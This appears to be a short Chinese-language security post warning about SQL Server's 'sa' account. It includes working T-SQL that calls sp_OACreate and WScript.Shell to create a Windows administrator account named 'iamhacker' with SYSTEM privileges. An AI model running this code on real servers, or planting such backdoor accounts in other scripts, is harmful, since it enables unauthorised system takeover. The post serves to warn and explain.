SQL SERVER存在着非常严重的安全隐患。sa的密码就像Administrator的密码一样重要。 假如别人获得了数据库超级用户sa的密码,那么他/她可以在查询分析器里使用下面的SQL语句轻易在Win2000(SQL SERVER所在的Server)上创建一个超级用户: declare @object int --创建WScript.Shell EXEC sp_OACreate 'WScript.Shell',@object OUT --运行net user iamhacker opendoor /add --添加一个名字为iamhacker,密码为opendoor的用户 EXEC sp_OAMethod @object,'Run',NULL,'net user iamhacker opendoor /add' --把iamhacker添加到Administrators组中 EXEC sp_OAMethod @object,'Run',NULL,'net localgroup Administrators iamhacker /add' --把iamhacker从User组中删除 EXEC sp_OAMethod @object,'Run',NULL,'net localgroup Users iamhacker /del' 我已经尝试过了。。实在太恐怖了。 上面的语句很短。核心是能够调用平台命令 net 。 其实现方法是SQL SERVER调用COM Automation的强大功能。再配合WSH中的一个对象WScript.Shell的一个方法:Run。(注意,一般SQL SERVER都是配置在SYSTEM的权限下运行的。也就是说,Run所调用的程序也是具有SYSTEM的权限。) (相关的实验是,调用一下NOTEPAD,那么任务管理器下将有用户为SYSTEM的NOTEPAD。EXE进程存在) WScript.Shell的隐患其实已经在各个方面很显著了。想不到现在竟然在Sql Server上也有相关的问题。
(出处:http://www.sheup.com)